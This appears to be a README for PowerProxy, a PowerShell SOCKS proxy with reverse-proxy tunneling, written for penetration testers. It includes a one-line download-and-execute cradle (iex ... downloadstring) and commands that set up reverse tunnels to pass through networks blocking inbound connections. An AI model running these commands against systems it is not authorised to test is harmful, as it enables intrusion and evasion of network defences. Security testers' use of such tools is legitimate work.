PowerProxy is a PowerShell SOCKS proxy with reverse proxy capabilities.
PowerProxy is written with penetration testers in mind. Reverse proxy functionality is a priority, for traversing networks that block inbound connections. Reverse proxy connections are encrypted by default. Username/Password authentication is supported for Socks 5 connections.
Import the script:
iex (new-object net.webclient).downloadstring(“http://192.168.0.22/PowerProxy.ps1”)
OR
Import-Module \192.168.0.22\Public\PowerProxy.ps1
reverse_proxy_handler.py can create temporary SSL certs, which requires OpenSSL. If OpenSSL isn’t installed on your machine (it is on most Linux/Unix-based systems), provide your own cert or use the –no-encrypt option.
For detailed usage, check out PowerProxy’s help, or use ./reverse_proxy_handler.py –help
On local machine, start the handler:
Listen for reverse proxies on port 8080. Clients connect to port 1080 (default)
./reverse_proxy_handler.py -p 8080
In PowerShell:
Start-ReverseSocksProxy 172.1.1.20 -Port 8080
Proxy clients can treat the server created by reverse_proxy_handler.py as if it were the actual SOCKS server:
curl –socks4 127.0.0.1:1080 http://10.10.2.69/
Run a traditional SOCKS server
Start-SocksProxy 172.10.2.20 -Port 9050
Use PSCredential objects to require a username and password:
Create the credential
$Password = ConvertTo-SecureString -AsPlaintext -Force “Passw0rd123”
$Cred = New-Object System.Management.Automation.PSCredential (“ProxyUser”, $Password)
Start-ReverseSocksProxy -Credential $Cred -Address 10.10.10.24 -Verbose
